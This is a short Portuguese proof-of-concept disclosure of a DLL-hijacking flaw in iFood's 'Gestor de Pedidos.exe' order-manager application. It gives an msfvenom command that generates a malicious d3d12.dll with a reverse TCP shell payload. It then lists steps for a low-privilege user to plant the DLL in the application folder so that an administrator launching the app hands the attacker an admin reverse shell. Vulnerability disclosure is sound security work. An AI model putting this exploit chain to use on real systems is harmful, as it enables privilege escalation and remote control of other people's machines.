ifood Order Manager 'Gestor de Pedidos.exe' - DLL hijacking

Um invasor coloca uma DLL maliciosa chamada "d3d12.dll" em um diretório que é pesquisado pela aplicação antes que a DLL legítima "d3d12.dll" seja encontrada. Quando a aplicação é iniciada, ela carrega a DLL maliciosa em vez da legítima, permitindo que o invasor execute código arbitrário no contexto da aplicação.

Homepage do Fornecedor: https://gestordepedidos.ifood.com.br/

Google Drive: https://drive.google.com/file/d/1p5SavlbLAE2o59l8jj4j-FkE_Ne_0Y-P/view?usp=sharing

Vídeo POC: https://youtu.be/oMIobV2M0T8

POC

1. Criar arquivo DLL malicioso no Kali Linux com msfvenom

   root@kitploit:~

   msfvenom -p windows/x64/shell_revese_tcp LHOST=<IP> LPORT=<PORT> -f dll -o d3d12.dll
   

2. Transferir o 'd3d12.dll' criado para o Windows Host a partir do Kali com acesso de usuário de baixo nível

3. Mover o arquivo 'd3d12.dll' criado para 'C:\Gestor de Pedidos\d3d12.dll' com acesso de usuário de baixo nível

4. Quando o Administrador executar a aplicação, você obterá um reverse shell como administrador